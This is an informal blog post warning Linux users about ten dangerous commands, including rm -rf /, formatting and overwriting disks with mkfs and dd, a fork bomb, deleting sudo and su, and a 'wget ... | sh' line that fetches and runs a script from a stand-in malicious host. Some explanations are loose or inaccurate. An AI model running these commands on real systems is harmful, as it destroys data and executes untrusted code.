Be Careful with this 10 Most Dangerous Linux Commands


Linux is the oft-ignored third wheel to Windows and Mac. Yes, over the past decade, the open source operating system has gained a lot of traction, but it’s still a far cry from being considered popular. Yet though that may be true, Linux still earns new converts every day. Will you join them?

The learning curve of Linux is what deters most users from even trying it in the first place. It can be a traumatic experience having to go from a GUI-based operating system like Windows or Mac to one that requires command line fiddling. But if you can get over that initial hump of difficulty, you may find that Linux is surprisingly robust.

But if you don’t use the linux commands carefully you may lose your valuable data or you will break your OS, So today i am gonna give you details of 10 most dangerous commands you should use carefully in Linux.

RecommendedAn Introduction To Hacker’s OS: Kali Linux And Setup Tutorial.


1. rm -rf Command

The rm -rf command is use to delete folders in linux os. But a little typing mistake can end up unrecoverable system damage. here are some of options used with rm command.

  • rm command in Linux is used to delete files.
  • rm -r command deletes the folder recursively, even the empty folder.
  • rm -f command removes ‘Read only File’ without asking.
  • rm -rf / : Force deletion of everything in root directory.
  • rm -rf * : Force deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.

2. mkfs.ext4 /dev/sda1

The mkfs.ext4 /dev/sda1 is really a disaster as it formats your entire hard drive and replaces it with the new ext3 file system. Once you execute the command then there is no going back, all your data is lost, which cannot be recovered.

3. :(){:|:&};: -Fork Bomb Command

The Fork Bomb Command :() means you are defining a function called :
{:|: &} means run the function : and send its output to the : function again and run that in the background.
The ; is a command separator, like &&: runs the function the first time.

Essentially you are creating a function that calls itself twice every call and doesn’t have any way to terminate itself. It will keep doubling up until you run out of system resources.

4. mv ~ /dev/null -Moves Your Home Directory to Nothing (Black Hole)

moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a nothing. Essentially, mv ~ /dev/null sends all your personal files into nothing.

5. wget http://malicious_source -O- | sh

This command succeeds in downloading a script from a malicious source and executing it, ‘wget’ command downloads the script and ‘sh’ command executes the downloaded script.
One should always download packages and scripts from trusted source.

6. ^foo^bar

The ^foo^bar command is used to edit the previously run command without the need of retyping the whole command again. But this could cost you a lot if you have not verified the change in the original command using ^foo^bar command.

7. dd if=/dev/random of=/dev/sda

the dd if=/dev/random of=/dev/sda command removes all files/filesystems of a hard disk. It removes EVERYTHING of your hard disk. Be careful when to select a device. It does not prompt for and second check.

8. > file

The > file command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

9. command > /dev/sda

The command > /dev/sda command is much more simple; any command you execute (in the place of “command”) will write the output data to your first hard drive replacing all the files and folders. This in turn damages your entire file system.

10. rm -f /usr/bin/sudo;rm -f /bin/su

The rm -f /usr/bin/sudo;rm -f /bin/su command  utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. These two allow you to run other commands with root permissions.

so guys always be careful while running any linux command. Next time i will come with another cool things.

bye, Thank you.



You may also like...